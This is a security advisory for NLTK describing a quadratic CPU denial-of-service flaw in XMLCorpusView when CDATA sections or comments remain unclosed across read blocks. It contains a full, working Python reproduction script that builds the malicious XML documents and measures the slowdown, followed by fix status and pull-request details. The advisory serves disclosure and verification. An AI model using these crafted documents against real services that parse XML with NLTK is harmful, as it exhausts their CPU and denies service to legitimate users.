Vulnerability GHSA-j8g8-j4j7-8j54
Summary
NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service
Details
affected: PyPI
nltk>= 3.6—nltk.corpus.reader.xmldocs.XMLCorpusViewstreaming read (and thenps_chat/framenetreaders built on it) dynamically reproduced:3.6(6/6 checks),3.9.2(6/6),3.10.3(6/6) anddevelop6818767b9(6/6)
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).
Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.
The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.
Controls:
1. Well-formedness: the attack document parses with ElementTree.
2. Linear baseline on the same reader: an oversized *single tag* of the same
size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
case). On pre-guard builds it is quadratic too -- reported, not asserted.
3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
same sink.
Assertions:
- attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
- tag-control doubling ratio must be ~linear (< 8) when the guard is present.
Usage:
python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
PYTHONPATH : site-packages of the nltk version under test (required)
NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time
import xml.etree.ElementTree as ET
# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
_DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
os.environ["NLTK_DATA"] = _DATA_ROOT
_CLEANUP_ROOT = _DATA_ROOT
from nltk.corpus.reader.xmldocs import XMLCorpusView
def elapsed(fn):
start = time.perf_counter()
fn()
return time.perf_counter() - start
def build_comment_doc(body_size):
# Well-formed XML: one root, one large comment containing '<' and '>' and
# no '-->' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><!-- " + body + " --></root>"
def build_cdata_doc(body_size):
# Well-formed XML: one root, one large CDATA containing '<' and '>' and no
# ']]>' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body + "]]></root>"
def build_unclosed_cdata_prefix(body_size):
# The line-308 match input: an accumulating fragment that is still inside
# an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
# reuse with the attack-timing buffers above, which would skew the timing.
body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body
def build_giant_tag(body_size):
# Control: a single oversized '<a ...>' tag, no '>' until the very end.
return "<a " + ("x" * body_size) + ">"
def guard_present():
import nltk.corpus.reader.xmldocs as m
with open(m.__file__, encoding="utf-8") as fh:
return "in_tag" in fh.read()
view = XMLCorpusView.__new__(XMLCorpusView)
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else ""))
def read_frag(doc):
"""Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
releases raise for CDATA-containing documents."""
try:
return view._read_xml_fragment(io.StringIO(doc))
except ValueError as exc:
return "ValueError: %s" % exc
def time_ratio(build, n1, n4):
d1, d4 = build(n1), build(n4)
t1 = elapsed(lambda: read_frag(d1))
t4 = elapsed(lambda: read_frag(d4))
return d1, d4, t1, t4
# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline)
# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1) # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s "
f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})")
check(
"attack document is well-formed XML (parses with ElementTree)",
ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
"unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
ratio > 10.0,
f"measured {ratio:.1f}",
)
# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s "
f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})")
if has_guard:
check(
"CDATA variant also super-linear on guard-present build",
dratio > 10.0,
f"measured {dratio:.1f}",
)
else:
# Pre-guard releases cannot validate any CDATA (their regex's CDATA
# alternative never matches), so the fragment ends in ValueError -- a
# separate functional defect; report only.
check(
"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
doutcome.startswith("ValueError"),
str(doutcome),
)
# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state)
return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))
ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s "
f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s")
check(
"single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
ms[1 << 21] / ms[1 << 19] < 6.0,
f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)
# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s "
f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
gratio < 8.0,
f"measured {gratio:.1f}",
)
else:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s "
f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag also super-linear pre-guard (report-only)",
gratio > 4.0,
f"measured {gratio:.1f}",
)
# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
fh.write(c1)
try:
items = list(XMLCorpusView(path, ".*"))
check(
"public API list(XMLCorpusView(path, '.*')) reads the attack document",
len(items) >= 1,
f"{len(items)} item(s) read from {len(c1)}-byte document",
)
finally:
if _CLEANUP_ROOT:
shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)
passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)
Fix status (2026-09-28)
Status: IN PROGRESS (fix on an open pull request, not yet on develop).
Two open pull requests carry a fix.
PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).
PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).
The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).
Release: none.
Related Vulnerabilities
Other vulnerabilities affecting the same packages